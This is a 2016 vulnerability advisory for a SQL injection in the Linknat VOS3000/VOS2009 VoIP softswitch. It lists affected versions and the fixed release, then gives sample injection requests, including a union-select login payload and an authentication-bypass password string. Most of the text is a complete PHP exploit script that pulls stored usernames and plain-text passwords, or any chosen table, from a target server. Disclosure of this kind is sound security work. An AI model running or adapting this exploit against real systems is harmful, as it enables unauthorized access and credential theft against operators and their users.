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Linknat VOS3000/VOS2009 SQL Injection

🗓️ 23 May 2016 00:00:00Reported by Osama KhalidType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 100 Views

VOS3000/VOS2009 SQL Injection, Remote Attack, Plain-text Credential

Code
`A SQL injection was found in Linknat VOS3000/VOS2009, a popular VoIP  
softswitch, that could allow remote attackers to gain access to the  
credentials stored in plain-text.  
  
Application: Linknat VOS3000/VOS2009  
Versions Affected: 2.1.1.5, 2.1.1.8, 2.1.2.0  
Vendor URL: http://www.linknat.com/  
Bug: SQLi (with DBA privileges)  
Type: Remote  
Resolution: Fixed, upgrade to 2.1.2.4  
Reference: WooYun-2015-145458 -  
http://www.wooyun.org/bugs/wooyun-2010-0145458  
  
The SQLi reported is time-based blind. Since it is not an in-band SQLi, the  
results can be gathered from the output of welcome.jsp during the same  
session.  
  
(1st request)  
  
POST http://target/eng/login.jsp  
PARAM loginType=1  
name=' union select 1,2,@@version,'hello',5,6#  
pass=' OR ''='  
  
(2nd request during the same session)  
  
GET http://target/eng/welcome.jsp  
RESULT 0|' union select  
1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00|  
  
[ EXPLOIT CODE ]  
  
<?php  
#  
# Linknat VOS2009/VOS3000 SQLi exploit  
#  
# DISCLAIMER: The exploit is to be used for educational purposes only  
# The author would not be responsible for any misuse  
#  
# AUTHOR: Osama Khalid  
# WEBSITE: http://www.codinghazard.com/  
# DATE: 19/05/2016  
# REF: http://www.wooyun.org/bugs/wooyun-2010-0145458  
  
if ($argc < 2) {  
banner();  
usage();  
exit;  
}  
  
$host = $argv[1];  
$column_one = isset($argv[2]) ? $argv[2] : "loginname";  
$column_two = isset($argv[3]) ? $argv[3] : "password";  
$table = isset($argv[4]) ? $argv[4] : "e_user";  
$other = isset($argv[5]) ? $argv[5] : "";  
  
function banner() {  
echo "########################################\n";  
echo "# #\n";  
echo "# Linknat VOS3000/VOS2009 SQLi exploit #\n";  
echo "# #\n";  
echo "# Osama Khalid #\n";  
echo "########### codinghazard.com ###########\n";  
}  
  
function usage() {  
echo "\n";  
echo "php vos3000.php [HOST]\n";  
echo "php vos3000.php 127.0.0.1\n";  
echo "php vos3000.php [HOST] [COL1] [COL2] [TABLE] [OTHER SQL]\n";  
echo "php vos3000.php 127.0.0.1 table_schema table_name  
information_schema.tables \"where table_schema = 'mysql'\"  
\n";  
}  
  
function curl($url, $post = array(), $cookies = null, $header = false) {  
$curl = curl_init();  
curl_setopt($curl, CURLOPT_URL, $url);  
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);  
curl_setopt($curl, CURLOPT_HEADER, $header);  
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);  
if ($cookies != null)  
curl_setopt($curl, CURLOPT_COOKIE, $cookies);  
if (count($post) > 0) {  
foreach ( $post as $key => $value)  
$post_items[] = $key . '=' . urlencode($value);  
$post_string = implode('&', $post_items);  
curl_setopt($curl, CURLOPT_POST, 1);  
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string);  
}  
$data = curl_exec($curl);  
curl_close($curl);  
return $data;  
}  
  
function query($host, $query) {  
$data = curl("http://$host/eng/login.jsp", array(  
"loginType" => 1,  
"name" => "' union " . $query . "#",  
"pass" => "' OR ''='"  
), null, true);  
preg_match_all('|Set-Cookie: (.*);|U', $data, $matches);  
$cookies = implode('; ', $matches[1]);  
$data = curl("http://$host/eng/welcome.jsp", array(), $cookies, false);  
$parts = explode("|", trim($data));  
  
if (count($parts) < 7)  
return false;  
  
return array($parts[3], $parts[4]);  
}  
  
function ascii_table($data) {  
$keys = array_keys(end($data));  
$wid = array_map('strlen', $keys);  
foreach($data as $row) {  
foreach(array_values($row) as $k => $v)  
$wid[$k] = max($wid[$k], strlen($v));  
}  
foreach($wid as $k => $v) {  
$fmt[$k] = "%-{$v}s";  
$sep[$k] = str_repeat('-', $v);  
}  
$fmt = '| ' . implode(' | ', $fmt) . ' |';  
$sep = '+-' . implode('-+-', $sep) . '-+';  
$buf = array($sep, vsprintf($fmt, $keys), $sep);  
foreach($data as $row) {  
$buf[] = vsprintf($fmt, $row);  
$buf[] = $sep;  
}  
return implode("\n", $buf);  
}  
  
banner();  
echo "\n";  
echo "Target: $host\n";  
echo "Column #1: $column_one\n";  
echo "Column #2: $column_two\n";  
echo "Table: $table\n";  
echo "Other: $other\n";  
echo "\n";  
  
$results = array();  
$count_result = query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table  
$other");  
if ($count_result) {  
$count = intval($count_result[0]);  
echo "Found $count rows...\n";  
  
for ($i=0; $i<$count; $i++) {  
$q = "SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table  
$other LIMIT " . $i . ",1";  
$result = query($host, $q);  
if ($result) {  
echo "R" . ($i+1) . "]\t" . $column_one . " = " .  
hex2bin($result[0]) . ", " . $column_two . " = " . hex2bin($result[1]) .  
"\n";  
} else {  
echo "Error retrieving row " . ($i+1) . "\n";  
}  
$results[] = array($column_one => hex2bin($result[0]), $column_two  
=> hex2bin($result[1]));  
}  
  
if (count($results) > 0) {  
echo "\n\n" . ascii_table($results) . "\n";  
}  
} else {  
echo "Error retrieving row count";  
}  
  
?>  
  
-- Osama Khalid  
  
  
`

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